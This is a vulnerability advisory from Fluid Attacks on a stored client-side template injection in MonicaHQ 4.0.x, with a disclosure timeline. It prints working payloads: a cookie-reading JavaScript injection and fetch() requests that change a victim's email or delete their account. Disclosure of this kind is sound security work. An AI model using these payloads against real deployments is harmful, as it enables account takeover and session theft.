MonicaHQ 4.0.4 - Client Side Template Injection

Summary

NameMonicaHQ 4.0.4 - Client Side Template Injection
Code name
ProductMonicaHQ
Affected versions4.0.0
StatePublic
Release date2023-04-17

Vulnerability

KindClient Side Template Injection
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CVSSv3.1 Base Score8.0
Exploit availableNo
CVE ID(s)

Description

MonicaHQ version 4.0.0 allows an authenticated remote attacker to execute malicious code in the application. This is possible because the application does not correctly validate the data entered by the user.

Vulnerability

This vulnerability occurs because the application does not correctly validate the data entered by users when creating new contacts within the application, as well as the characteristics of the contacts themselves.

Exploitation

First we create a contact:

CSTI-Monica

After creating the contact you can edit its characteristics. At this point there are many inputs which are vulnerable. The PoC of the exploitation of one of them will be shown but it applies to all the others. In this case we edit the food preference feature. We inject the following payload which interprets:

{{7*7}}

At this point we can say that it is vulnerable to CSTI since we see the value 49 reflected.

CSTI-Monica

CSTI-Monica

Thanks to this it is possible to inject JavaScript code, which is interpreted.

{{{}.toString.constructor('confirm(document.cookie)')()}}

CSTI-Monica

CSTI-Monica

As the XSS is stored, CSRF can be applied to change another user's email address or delete their account.

Evidence of exploitation

CSTI to CSRF Change mail

{{ fetch('http://localhost:8080/settings/save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ _token: document.querySelector('[name="_token"]').value, id: 3, first_name: 'test', last_name: 'testt', email: 'attacker@test.com', locale: 'es', currency_id: 4, temperature_scale: 'celsius', timezone: 'Europe/Madrid', reminder_time: '12:00', name_order: 'firstname_lastname_nickname', fluid_container: 1 }) }) .then(res => res.text()) .then(text => window.location.href = text)
}}

RCE-FIleManager

CSTI to CSRF Delete Account

{{ fetch('http://localhost:8080/settings/delete', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: '_token=' + document.querySelector('[name="_token"]').value }) .then(res => res.text()) .then(text => window.location.href = text)
}}

RCE-FileManager

Our security policy

We have reserved the CVE-2023-1031, CVE-2023-1094, CVE-2023-30787, CVE-2023-30788, CVE-2023-30789, CVE-2023-30790 to refer to this issue from now on.

System Information

  • Version: MonicaHQ 4.0.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Lautaro Casanova from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/monicahq/monica

Release page https://github.com/monicahq/monica/releases/tag/v4.0.0

Timeline

Time-lapse-logo

2023-03-30

Vulnerability discovered.

Time-lapse-logo

2023-03-30

Vendor contacted.

Time-lapse-logo

2023-04-17

Vendor Confirmed the vulnerability.

Time-lapse-logo

2023-04-17

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.